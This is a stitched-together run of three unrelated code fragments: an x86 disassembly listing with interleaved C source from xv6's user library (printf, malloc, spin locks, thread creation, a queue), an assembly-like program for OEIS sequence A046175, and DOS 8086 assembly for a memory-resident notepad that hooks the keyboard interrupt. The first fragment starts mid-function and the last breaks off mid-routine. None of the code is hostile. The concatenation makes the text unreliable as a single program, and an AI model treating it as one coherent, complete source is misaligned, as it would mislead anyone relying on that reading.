while(*s != 0){ 1887: 8b 45 f4 mov -0xc(%ebp),%eax 188a: 0f b6 00 movzbl (%eax),%eax 188d: 84 c0 test %al,%al 188f: 75 da jne 186b <printf+0x103> 1891: eb 68 jmp 18fb <printf+0x193> putc(fd, *s); s++; } } else if(c == 'c'){ 1893: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 1897: 75 1d jne 18b6 <printf+0x14e> putc(fd, *ap); 1899: 8b 45 e8 mov -0x18(%ebp),%eax 189c: 8b 00 mov (%eax),%eax 189e: 0f be c0 movsbl %al,%eax 18a1: 89 44 24 04 mov %eax,0x4(%esp) 18a5: 8b 45 08 mov 0x8(%ebp),%eax 18a8: 89 04 24 mov %eax,(%esp) 18ab: e8 d8 fd ff ff call 1688 <putc> ap++; 18b0: 83 45 e8 04 addl $0x4,-0x18(%ebp) 18b4: eb 45 jmp 18fb <printf+0x193> } else if(c == '%'){ 18b6: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 18ba: 75 17 jne 18d3 <printf+0x16b> putc(fd, c); 18bc: 8b 45 e4 mov -0x1c(%ebp),%eax 18bf: 0f be c0 movsbl %al,%eax 18c2: 89 44 24 04 mov %eax,0x4(%esp) 18c6: 8b 45 08 mov 0x8(%ebp),%eax 18c9: 89 04 24 mov %eax,(%esp) 18cc: e8 b7 fd ff ff call 1688 <putc> 18d1: eb 28 jmp 18fb <printf+0x193> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 18d3: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp) 18da: 00 18db: 8b 45 08 mov 0x8(%ebp),%eax 18de: 89 04 24 mov %eax,(%esp) 18e1: e8 a2 fd ff ff call 1688 <putc> putc(fd, c); 18e6: 8b 45 e4 mov -0x1c(%ebp),%eax 18e9: 0f be c0 movsbl %al,%eax 18ec: 89 44 24 04 mov %eax,0x4(%esp) 18f0: 8b 45 08 mov 0x8(%ebp),%eax 18f3: 89 04 24 mov %eax,(%esp) 18f6: e8 8d fd ff ff call 1688 <putc> } state = 0; 18fb: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 1902: 83 45 f0 01 addl $0x1,-0x10(%ebp) 1906: 8b 55 0c mov 0xc(%ebp),%edx 1909: 8b 45 f0 mov -0x10(%ebp),%eax 190c: 01 d0 add %edx,%eax 190e: 0f b6 00 movzbl (%eax),%eax 1911: 84 c0 test %al,%al 1913: 0f 85 71 fe ff ff jne 178a <printf+0x22> putc(fd, c); } state = 0; } } } 1919: c9 leave 191a: c3 ret 191b: 90 nop 0000191c <free>: static Header base; static Header *freep; void free(void *ap) { 191c: 55 push %ebp 191d: 89 e5 mov %esp,%ebp 191f: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 1922: 8b 45 08 mov 0x8(%ebp),%eax 1925: 83 e8 08 sub $0x8,%eax 1928: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 192b: a1 48 22 00 00 mov 0x2248,%eax 1930: 89 45 fc mov %eax,-0x4(%ebp) 1933: eb 24 jmp 1959 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1935: 8b 45 fc mov -0x4(%ebp),%eax 1938: 8b 00 mov (%eax),%eax 193a: 3b 45 fc cmp -0x4(%ebp),%eax 193d: 77 12 ja 1951 <free+0x35> 193f: 8b 45 f8 mov -0x8(%ebp),%eax 1942: 3b 45 fc cmp -0x4(%ebp),%eax 1945: 77 24 ja 196b <free+0x4f> 1947: 8b 45 fc mov -0x4(%ebp),%eax 194a: 8b 00 mov (%eax),%eax 194c: 3b 45 f8 cmp -0x8(%ebp),%eax 194f: 77 1a ja 196b <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1951: 8b 45 fc mov -0x4(%ebp),%eax 1954: 8b 00 mov (%eax),%eax 1956: 89 45 fc mov %eax,-0x4(%ebp) 1959: 8b 45 f8 mov -0x8(%ebp),%eax 195c: 3b 45 fc cmp -0x4(%ebp),%eax 195f: 76 d4 jbe 1935 <free+0x19> 1961: 8b 45 fc mov -0x4(%ebp),%eax 1964: 8b 00 mov (%eax),%eax 1966: 3b 45 f8 cmp -0x8(%ebp),%eax 1969: 76 ca jbe 1935 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 196b: 8b 45 f8 mov -0x8(%ebp),%eax 196e: 8b 40 04 mov 0x4(%eax),%eax 1971: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 1978: 8b 45 f8 mov -0x8(%ebp),%eax 197b: 01 c2 add %eax,%edx 197d: 8b 45 fc mov -0x4(%ebp),%eax 1980: 8b 00 mov (%eax),%eax 1982: 39 c2 cmp %eax,%edx 1984: 75 24 jne 19aa <free+0x8e> bp->s.size += p->s.ptr->s.size; 1986: 8b 45 f8 mov -0x8(%ebp),%eax 1989: 8b 50 04 mov 0x4(%eax),%edx 198c: 8b 45 fc mov -0x4(%ebp),%eax 198f: 8b 00 mov (%eax),%eax 1991: 8b 40 04 mov 0x4(%eax),%eax 1994: 01 c2 add %eax,%edx 1996: 8b 45 f8 mov -0x8(%ebp),%eax 1999: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 199c: 8b 45 fc mov -0x4(%ebp),%eax 199f: 8b 00 mov (%eax),%eax 19a1: 8b 10 mov (%eax),%edx 19a3: 8b 45 f8 mov -0x8(%ebp),%eax 19a6: 89 10 mov %edx,(%eax) 19a8: eb 0a jmp 19b4 <free+0x98> } else bp->s.ptr = p->s.ptr; 19aa: 8b 45 fc mov -0x4(%ebp),%eax 19ad: 8b 10 mov (%eax),%edx 19af: 8b 45 f8 mov -0x8(%ebp),%eax 19b2: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 19b4: 8b 45 fc mov -0x4(%ebp),%eax 19b7: 8b 40 04 mov 0x4(%eax),%eax 19ba: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 19c1: 8b 45 fc mov -0x4(%ebp),%eax 19c4: 01 d0 add %edx,%eax 19c6: 3b 45 f8 cmp -0x8(%ebp),%eax 19c9: 75 20 jne 19eb <free+0xcf> p->s.size += bp->s.size; 19cb: 8b 45 fc mov -0x4(%ebp),%eax 19ce: 8b 50 04 mov 0x4(%eax),%edx 19d1: 8b 45 f8 mov -0x8(%ebp),%eax 19d4: 8b 40 04 mov 0x4(%eax),%eax 19d7: 01 c2 add %eax,%edx 19d9: 8b 45 fc mov -0x4(%ebp),%eax 19dc: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 19df: 8b 45 f8 mov -0x8(%ebp),%eax 19e2: 8b 10 mov (%eax),%edx 19e4: 8b 45 fc mov -0x4(%ebp),%eax 19e7: 89 10 mov %edx,(%eax) 19e9: eb 08 jmp 19f3 <free+0xd7> } else p->s.ptr = bp; 19eb: 8b 45 fc mov -0x4(%ebp),%eax 19ee: 8b 55 f8 mov -0x8(%ebp),%edx 19f1: 89 10 mov %edx,(%eax) freep = p; 19f3: 8b 45 fc mov -0x4(%ebp),%eax 19f6: a3 48 22 00 00 mov %eax,0x2248 } 19fb: c9 leave 19fc: c3 ret 000019fd <morecore>: static Header* morecore(uint nu) { 19fd: 55 push %ebp 19fe: 89 e5 mov %esp,%ebp 1a00: 83 ec 28 sub $0x28,%esp char *p; Header *hp; if(nu < 4096) 1a03: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 1a0a: 77 07 ja 1a13 <morecore+0x16> nu = 4096; 1a0c: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 1a13: 8b 45 08 mov 0x8(%ebp),%eax 1a16: c1 e0 03 shl $0x3,%eax 1a19: 89 04 24 mov %eax,(%esp) 1a1c: e8 27 fc ff ff call 1648 <sbrk> 1a21: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 1a24: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 1a28: 75 07 jne 1a31 <morecore+0x34> return 0; 1a2a: b8 00 00 00 00 mov $0x0,%eax 1a2f: eb 22 jmp 1a53 <morecore+0x56> hp = (Header*)p; 1a31: 8b 45 f4 mov -0xc(%ebp),%eax 1a34: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 1a37: 8b 45 f0 mov -0x10(%ebp),%eax 1a3a: 8b 55 08 mov 0x8(%ebp),%edx 1a3d: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 1a40: 8b 45 f0 mov -0x10(%ebp),%eax 1a43: 83 c0 08 add $0x8,%eax 1a46: 89 04 24 mov %eax,(%esp) 1a49: e8 ce fe ff ff call 191c <free> return freep; 1a4e: a1 48 22 00 00 mov 0x2248,%eax } 1a53: c9 leave 1a54: c3 ret 00001a55 <malloc>: void* malloc(uint nbytes) { 1a55: 55 push %ebp 1a56: 89 e5 mov %esp,%ebp 1a58: 83 ec 28 sub $0x28,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1a5b: 8b 45 08 mov 0x8(%ebp),%eax 1a5e: 83 c0 07 add $0x7,%eax 1a61: c1 e8 03 shr $0x3,%eax 1a64: 83 c0 01 add $0x1,%eax 1a67: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 1a6a: a1 48 22 00 00 mov 0x2248,%eax 1a6f: 89 45 f0 mov %eax,-0x10(%ebp) 1a72: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1a76: 75 23 jne 1a9b <malloc+0x46> base.s.ptr = freep = prevp = &base; 1a78: c7 45 f0 40 22 00 00 movl $0x2240,-0x10(%ebp) 1a7f: 8b 45 f0 mov -0x10(%ebp),%eax 1a82: a3 48 22 00 00 mov %eax,0x2248 1a87: a1 48 22 00 00 mov 0x2248,%eax 1a8c: a3 40 22 00 00 mov %eax,0x2240 base.s.size = 0; 1a91: c7 05 44 22 00 00 00 movl $0x0,0x2244 1a98: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1a9b: 8b 45 f0 mov -0x10(%ebp),%eax 1a9e: 8b 00 mov (%eax),%eax 1aa0: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 1aa3: 8b 45 f4 mov -0xc(%ebp),%eax 1aa6: 8b 40 04 mov 0x4(%eax),%eax 1aa9: 3b 45 ec cmp -0x14(%ebp),%eax 1aac: 72 4d jb 1afb <malloc+0xa6> if(p->s.size == nunits) 1aae: 8b 45 f4 mov -0xc(%ebp),%eax 1ab1: 8b 40 04 mov 0x4(%eax),%eax 1ab4: 3b 45 ec cmp -0x14(%ebp),%eax 1ab7: 75 0c jne 1ac5 <malloc+0x70> prevp->s.ptr = p->s.ptr; 1ab9: 8b 45 f4 mov -0xc(%ebp),%eax 1abc: 8b 10 mov (%eax),%edx 1abe: 8b 45 f0 mov -0x10(%ebp),%eax 1ac1: 89 10 mov %edx,(%eax) 1ac3: eb 26 jmp 1aeb <malloc+0x96> else { p->s.size -= nunits; 1ac5: 8b 45 f4 mov -0xc(%ebp),%eax 1ac8: 8b 40 04 mov 0x4(%eax),%eax 1acb: 2b 45 ec sub -0x14(%ebp),%eax 1ace: 89 c2 mov %eax,%edx 1ad0: 8b 45 f4 mov -0xc(%ebp),%eax 1ad3: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 1ad6: 8b 45 f4 mov -0xc(%ebp),%eax 1ad9: 8b 40 04 mov 0x4(%eax),%eax 1adc: c1 e0 03 shl $0x3,%eax 1adf: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 1ae2: 8b 45 f4 mov -0xc(%ebp),%eax 1ae5: 8b 55 ec mov -0x14(%ebp),%edx 1ae8: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 1aeb: 8b 45 f0 mov -0x10(%ebp),%eax 1aee: a3 48 22 00 00 mov %eax,0x2248 return (void*)(p + 1); 1af3: 8b 45 f4 mov -0xc(%ebp),%eax 1af6: 83 c0 08 add $0x8,%eax 1af9: eb 38 jmp 1b33 <malloc+0xde> } if(p == freep) 1afb: a1 48 22 00 00 mov 0x2248,%eax 1b00: 39 45 f4 cmp %eax,-0xc(%ebp) 1b03: 75 1b jne 1b20 <malloc+0xcb> if((p = morecore(nunits)) == 0) 1b05: 8b 45 ec mov -0x14(%ebp),%eax 1b08: 89 04 24 mov %eax,(%esp) 1b0b: e8 ed fe ff ff call 19fd <morecore> 1b10: 89 45 f4 mov %eax,-0xc(%ebp) 1b13: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1b17: 75 07 jne 1b20 <malloc+0xcb> return 0; 1b19: b8 00 00 00 00 mov $0x0,%eax 1b1e: eb 13 jmp 1b33 <malloc+0xde> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1b20: 8b 45 f4 mov -0xc(%ebp),%eax 1b23: 89 45 f0 mov %eax,-0x10(%ebp) 1b26: 8b 45 f4 mov -0xc(%ebp),%eax 1b29: 8b 00 mov (%eax),%eax 1b2b: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 1b2e: e9 70 ff ff ff jmp 1aa3 <malloc+0x4e> } 1b33: c9 leave 1b34: c3 ret 1b35: 66 90 xchg %ax,%ax 1b37: 90 nop 00001b38 <xchg>: asm volatile("sti"); } static inline uint xchg(volatile uint *addr, uint newval) { 1b38: 55 push %ebp 1b39: 89 e5 mov %esp,%ebp 1b3b: 83 ec 10 sub $0x10,%esp uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 1b3e: 8b 55 08 mov 0x8(%ebp),%edx 1b41: 8b 45 0c mov 0xc(%ebp),%eax 1b44: 8b 4d 08 mov 0x8(%ebp),%ecx 1b47: f0 87 02 lock xchg %eax,(%edx) 1b4a: 89 45 fc mov %eax,-0x4(%ebp) "+m" (*addr), "=a" (result) : "1" (newval) : "cc"); return result; 1b4d: 8b 45 fc mov -0x4(%ebp),%eax } 1b50: c9 leave 1b51: c3 ret 00001b52 <lock_init>: #include "x86.h" #include "proc.h" unsigned long rands = 1; void lock_init(lock_t *lock){ 1b52: 55 push %ebp 1b53: 89 e5 mov %esp,%ebp lock->locked = 0; 1b55: 8b 45 08 mov 0x8(%ebp),%eax 1b58: c7 00 00 00 00 00 movl $0x0,(%eax) } 1b5e: 5d pop %ebp 1b5f: c3 ret 00001b60 <lock_acquire>: void lock_acquire(lock_t *lock){ 1b60: 55 push %ebp 1b61: 89 e5 mov %esp,%ebp 1b63: 83 ec 08 sub $0x8,%esp while(xchg(&lock->locked,1) != 0); 1b66: 90 nop 1b67: 8b 45 08 mov 0x8(%ebp),%eax 1b6a: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 1b71: 00 1b72: 89 04 24 mov %eax,(%esp) 1b75: e8 be ff ff ff call 1b38 <xchg> 1b7a: 85 c0 test %eax,%eax 1b7c: 75 e9 jne 1b67 <lock_acquire+0x7> } 1b7e: c9 leave 1b7f: c3 ret 00001b80 <lock_release>: void lock_release(lock_t *lock){ 1b80: 55 push %ebp 1b81: 89 e5 mov %esp,%ebp 1b83: 83 ec 08 sub $0x8,%esp xchg(&lock->locked,0); 1b86: 8b 45 08 mov 0x8(%ebp),%eax 1b89: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 1b90: 00 1b91: 89 04 24 mov %eax,(%esp) 1b94: e8 9f ff ff ff call 1b38 <xchg> } 1b99: c9 leave 1b9a: c3 ret 00001b9b <thread_create>: void *thread_create(void(*start_routine)(void*), void *arg){ 1b9b: 55 push %ebp 1b9c: 89 e5 mov %esp,%ebp 1b9e: 83 ec 28 sub $0x28,%esp int tid; void * stack = malloc(2 * 4096); 1ba1: c7 04 24 00 20 00 00 movl $0x2000,(%esp) 1ba8: e8 a8 fe ff ff call 1a55 <malloc> 1bad: 89 45 f4 mov %eax,-0xc(%ebp) void *garbage_stack = stack; 1bb0: 8b 45 f4 mov -0xc(%ebp),%eax 1bb3: 89 45 f0 mov %eax,-0x10(%ebp) // printf(1,"start routine addr : %d\n",(uint)start_routine); if((uint)stack % 4096){ 1bb6: 8b 45 f4 mov -0xc(%ebp),%eax 1bb9: 25 ff 0f 00 00 and $0xfff,%eax 1bbe: 85 c0 test %eax,%eax 1bc0: 74 14 je 1bd6 <thread_create+0x3b> stack = stack + (4096 - (uint)stack % 4096); 1bc2: 8b 45 f4 mov -0xc(%ebp),%eax 1bc5: 25 ff 0f 00 00 and $0xfff,%eax 1bca: 89 c2 mov %eax,%edx 1bcc: b8 00 10 00 00 mov $0x1000,%eax 1bd1: 29 d0 sub %edx,%eax 1bd3: 01 45 f4 add %eax,-0xc(%ebp) } if (stack == 0){ 1bd6: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1bda: 75 1b jne 1bf7 <thread_create+0x5c> printf(1,"malloc fail \n"); 1bdc: c7 44 24 04 e9 1d 00 movl $0x1de9,0x4(%esp) 1be3: 00 1be4: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1beb: e8 78 fb ff ff call 1768 <printf> return 0; 1bf0: b8 00 00 00 00 mov $0x0,%eax 1bf5: eb 6f jmp 1c66 <thread_create+0xcb> } tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg); 1bf7: 8b 4d 0c mov 0xc(%ebp),%ecx 1bfa: 8b 55 08 mov 0x8(%ebp),%edx 1bfd: 8b 45 f4 mov -0xc(%ebp),%eax 1c00: 89 4c 24 0c mov %ecx,0xc(%esp) 1c04: 89 54 24 08 mov %edx,0x8(%esp) 1c08: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp) 1c0f: 00 1c10: 89 04 24 mov %eax,(%esp) 1c13: e8 48 fa ff ff call 1660 <clone> 1c18: 89 45 ec mov %eax,-0x14(%ebp) if(tid < 0){ 1c1b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1c1f: 79 1b jns 1c3c <thread_create+0xa1> printf(1,"clone fails\n"); 1c21: c7 44 24 04 f7 1d 00 movl $0x1df7,0x4(%esp) 1c28: 00 1c29: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1c30: e8 33 fb ff ff call 1768 <printf> return 0; 1c35: b8 00 00 00 00 mov $0x0,%eax 1c3a: eb 2a jmp 1c66 <thread_create+0xcb> } if(tid > 0){ 1c3c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1c40: 7e 05 jle 1c47 <thread_create+0xac> //store threads on thread table return garbage_stack; 1c42: 8b 45 f0 mov -0x10(%ebp),%eax 1c45: eb 1f jmp 1c66 <thread_create+0xcb> } if(tid == 0){ 1c47: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1c4b: 75 14 jne 1c61 <thread_create+0xc6> printf(1,"tid = 0 return \n"); 1c4d: c7 44 24 04 04 1e 00 movl $0x1e04,0x4(%esp) 1c54: 00 1c55: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1c5c: e8 07 fb ff ff call 1768 <printf> } // wait(); // free(garbage_stack); return 0; 1c61: b8 00 00 00 00 mov $0x0,%eax } 1c66: c9 leave 1c67: c3 ret 00001c68 <random>: // generate 0 -> max random number exclude max. int random(int max){ 1c68: 55 push %ebp 1c69: 89 e5 mov %esp,%ebp rands = rands * 1664525 + 1013904233; 1c6b: a1 30 22 00 00 mov 0x2230,%eax 1c70: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax 1c76: 05 69 f3 6e 3c add $0x3c6ef369,%eax 1c7b: a3 30 22 00 00 mov %eax,0x2230 return (int)(rands % max); 1c80: a1 30 22 00 00 mov 0x2230,%eax 1c85: 8b 4d 08 mov 0x8(%ebp),%ecx 1c88: ba 00 00 00 00 mov $0x0,%edx 1c8d: f7 f1 div %ecx 1c8f: 89 d0 mov %edx,%eax } 1c91: 5d pop %ebp 1c92: c3 ret 1c93: 90 nop 00001c94 <init_q>: #include "queue.h" #include "types.h" #include "user.h" void init_q(struct queue *q){ 1c94: 55 push %ebp 1c95: 89 e5 mov %esp,%ebp q->size = 0; 1c97: 8b 45 08 mov 0x8(%ebp),%eax 1c9a: c7 00 00 00 00 00 movl $0x0,(%eax) q->head = 0; 1ca0: 8b 45 08 mov 0x8(%ebp),%eax 1ca3: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) q->tail = 0; 1caa: 8b 45 08 mov 0x8(%ebp),%eax 1cad: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 1cb4: 5d pop %ebp 1cb5: c3 ret 00001cb6 <add_q>: void add_q(struct queue *q, int v){ 1cb6: 55 push %ebp 1cb7: 89 e5 mov %esp,%ebp 1cb9: 83 ec 28 sub $0x28,%esp struct node * n = malloc(sizeof(struct node)); 1cbc: c7 04 24 08 00 00 00 movl $0x8,(%esp) 1cc3: e8 8d fd ff ff call 1a55 <malloc> 1cc8: 89 45 f4 mov %eax,-0xc(%ebp) n->next = 0; 1ccb: 8b 45 f4 mov -0xc(%ebp),%eax 1cce: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) n->value = v; 1cd5: 8b 45 f4 mov -0xc(%ebp),%eax 1cd8: 8b 55 0c mov 0xc(%ebp),%edx 1cdb: 89 10 mov %edx,(%eax) if(q->head == 0){ 1cdd: 8b 45 08 mov 0x8(%ebp),%eax 1ce0: 8b 40 04 mov 0x4(%eax),%eax 1ce3: 85 c0 test %eax,%eax 1ce5: 75 0b jne 1cf2 <add_q+0x3c> q->head = n; 1ce7: 8b 45 08 mov 0x8(%ebp),%eax 1cea: 8b 55 f4 mov -0xc(%ebp),%edx 1ced: 89 50 04 mov %edx,0x4(%eax) 1cf0: eb 0c jmp 1cfe <add_q+0x48> }else{ q->tail->next = n; 1cf2: 8b 45 08 mov 0x8(%ebp),%eax 1cf5: 8b 40 08 mov 0x8(%eax),%eax 1cf8: 8b 55 f4 mov -0xc(%ebp),%edx 1cfb: 89 50 04 mov %edx,0x4(%eax) } q->tail = n; 1cfe: 8b 45 08 mov 0x8(%ebp),%eax 1d01: 8b 55 f4 mov -0xc(%ebp),%edx 1d04: 89 50 08 mov %edx,0x8(%eax) q->size++; 1d07: 8b 45 08 mov 0x8(%ebp),%eax 1d0a: 8b 00 mov (%eax),%eax 1d0c: 8d 50 01 lea 0x1(%eax),%edx 1d0f: 8b 45 08 mov 0x8(%ebp),%eax 1d12: 89 10 mov %edx,(%eax) } 1d14: c9 leave 1d15: c3 ret 00001d16 <empty_q>: int empty_q(struct queue *q){ 1d16: 55 push %ebp 1d17: 89 e5 mov %esp,%ebp if(q->size == 0) 1d19: 8b 45 08 mov 0x8(%ebp),%eax 1d1c: 8b 00 mov (%eax),%eax 1d1e: 85 c0 test %eax,%eax 1d20: 75 07 jne 1d29 <empty_q+0x13> return 1; 1d22: b8 01 00 00 00 mov $0x1,%eax 1d27: eb 05 jmp 1d2e <empty_q+0x18> else return 0; 1d29: b8 00 00 00 00 mov $0x0,%eax } 1d2e: 5d pop %ebp 1d2f: c3 ret 00001d30 <pop_q>: int pop_q(struct queue *q){ 1d30: 55 push %ebp 1d31: 89 e5 mov %esp,%ebp 1d33: 83 ec 28 sub $0x28,%esp int val; struct node *destroy; if(!empty_q(q)){ 1d36: 8b 45 08 mov 0x8(%ebp),%eax 1d39: 89 04 24 mov %eax,(%esp) 1d3c: e8 d5 ff ff ff call 1d16 <empty_q> 1d41: 85 c0 test %eax,%eax 1d43: 75 5d jne 1da2 <pop_q+0x72> val = q->head->value; 1d45: 8b 45 08 mov 0x8(%ebp),%eax 1d48: 8b 40 04 mov 0x4(%eax),%eax 1d4b: 8b 00 mov (%eax),%eax 1d4d: 89 45 f4 mov %eax,-0xc(%ebp) destroy = q->head; 1d50: 8b 45 08 mov 0x8(%ebp),%eax 1d53: 8b 40 04 mov 0x4(%eax),%eax 1d56: 89 45 f0 mov %eax,-0x10(%ebp) q->head = q->head->next; 1d59: 8b 45 08 mov 0x8(%ebp),%eax 1d5c: 8b 40 04 mov 0x4(%eax),%eax 1d5f: 8b 50 04 mov 0x4(%eax),%edx 1d62: 8b 45 08 mov 0x8(%ebp),%eax 1d65: 89 50 04 mov %edx,0x4(%eax) free(destroy); 1d68: 8b 45 f0 mov -0x10(%ebp),%eax 1d6b: 89 04 24 mov %eax,(%esp) 1d6e: e8 a9 fb ff ff call 191c <free> q->size--; 1d73: 8b 45 08 mov 0x8(%ebp),%eax 1d76: 8b 00 mov (%eax),%eax 1d78: 8d 50 ff lea -0x1(%eax),%edx 1d7b: 8b 45 08 mov 0x8(%ebp),%eax 1d7e: 89 10 mov %edx,(%eax) if(q->size == 0){ 1d80: 8b 45 08 mov 0x8(%ebp),%eax 1d83: 8b 00 mov (%eax),%eax 1d85: 85 c0 test %eax,%eax 1d87: 75 14 jne 1d9d <pop_q+0x6d> q->head = 0; 1d89: 8b 45 08 mov 0x8(%ebp),%eax 1d8c: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) q->tail = 0; 1d93: 8b 45 08 mov 0x8(%ebp),%eax 1d96: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } return val; 1d9d: 8b 45 f4 mov -0xc(%ebp),%eax 1da0: eb 05 jmp 1da7 <pop_q+0x77> } return -1; 1da2: b8 ff ff ff ff mov $0xffffffff,%eax } 1da7: c9 leave 1da8: c3 ret
; A046175: Indices of triangular numbers which are also pentagonal. ; Submitted by Jamie Morken(w2) ; 0,1,20,285,3976,55385,771420,10744501,149651600,2084377905,29031639076,404358569165,5631988329240,78443478040201,1092576704233580,15217630381229925,211954248632985376,2952141850480565345,41118031658094929460,572700301362848447101,7976686187421783329960,111100906322542118172345,1547436002328167871082876,21553003126271808076987925,300194607765477145206748080,4181171505590408224817485201,58236206470500238002238044740,811125719081412923806515141165,11297523860669280695288973931576 mul $0,2 sub $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 add $2,$3 add $3,$2 lpe mov $0,$3 div $0,2
INTERRUPTS SEGMENT AT 0H ;This is where the keyboard interrupt ORG 9H*4 ;holds the address of its service routine KEYBOARD_INT LABEL DWORD INTERRUPTS ENDS SCREEN SEGMENT AT 0B000H ;A dummy segment to use as the SCREEN ENDS ;Extra Segment ROM_BIOS_DATA SEGMENT AT 40H ;BIOS statuses held here, also keyboard buffer ORG 1AH HEAD DW ? ;Unread chars go from Head to Tail TAIL DW ? BUFFER DW 16 DUP (?) ;The buffer itself BUFFER_END LABEL WORD ROM_BIOS_DATA ENDS CODE_SEG SEGMENT ASSUME CS:CODE_SEG ORG 100H ;ORG = 100H to make this into a .COM file FIRST: JMP LOAD_PAD ;First time through jump to initialize routine CNTRL_N_FLAG DW 0 ;Cntrl-N on or off PAD DB '_',499 DUP(' ') ;Memory storage for pad PAD_CURSOR DW 0 ;Current position in pad PAD_OFFSET DW 0 ;Chooses 1st 250 bytes or 2nd FIRST_POSITION DW ? ;Position of 1st char on screen ATTRIBUTE DB 112 ;Pad Attribute -- reverse video SCREEN_SEG_OFFSET DW 0 ;0 for mono, 8000H for graphics IO_CHAR DW ? ;Holds addr of Put or Get_Char STATUS_PORT DW ? ;Video controller status port OLD_KEYBOARD_INT DD ? ;Location of old kbd interrupt N_PAD PROC NEAR ;The keyboard interrupt will now come here. ASSUME CS:CODE_SEG PUSH AX ;Save the used registers for good form PUSH BX PUSH CX PUSH DX PUSH DI PUSH SI PUSH DS PUSH ES PUSHF ;First, call old keyboard interrupt CALL OLD_KEYBOARD_INT ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in MOV BX,ROM_BIOS_DATA MOV DS,BX MOV BX,TAIL ;Point to current tail CMP BX,HEAD ;If at head, kbd int has deleted char JE IN ;So leave SUB BX,2 ;Point to just read in character CMP BX,OFFSET BUFFER ;Did we undershoot buffer? JAE NO_WRAP ;Nope MOV BX,OFFSET BUFFER_END ;Yes -- move to buffer top SUB BX,2 NO_WRAP:MOV DX,[BX] ;Char in DX now CMP DX,310EH ;Is the char a Cntrl-N? JNE NOT_CNTRL_N ;No MOV TAIL,BX ;Yes -- delete it from buffer NOT CNTRL_N_FLAG ;Switch Modes CMP CNTRL_N_FLAG,0 ;Cntrl-N off? JNE CNTRL_N_ON ;No, only other choice is on CNTRL_N_OFF: MOV ATTRIBUTE,7 ;Set up for normal video MOV PAD_OFFSET,250 ;Point to 2nd half of pad LEA AX,PUT_CHAR ;Make IO call Put_Char as it scans MOV IO_CHAR,AX ;over all locations in pad on screen CALL IO ;Restore screen IN: JMP OUT ;Done CNTRL_N_ON: MOV PAD_OFFSET,250 ;Point to screen stroage part of pad LEA AX,GET_CHAR ;Make IO use Get_char so current screen MOV IO_CHAR,AX ;is stored CALL IO ;Store Screen CALL DISPLAY ;And put up the pad JMP OUT ;Done here. NOT_CNTRL_N: TEST CNTRL_N_FLAG,1 ;Is Cntrl-N on? JZ IN ;No -- leave MOV TAIL,BX ;Yes, delete this char from buffer CMP DX,5300H ;Decide what to do -- is it a Delete? JNE RUBOUT_TEST ;No -- try Rubout MOV BX,249 ;Yes -- fill pad with spaces DEL_LOOP: MOV PAD[BX],' ' ;Move space to current pad position DEC BX ;and go back one JNZ DEL_LOOP ;until done. MOV PAD,'_' ;Put the cursor at the beginning MOV PAD_CURSOR,0 ;And start cursor over CALL DISPLAY 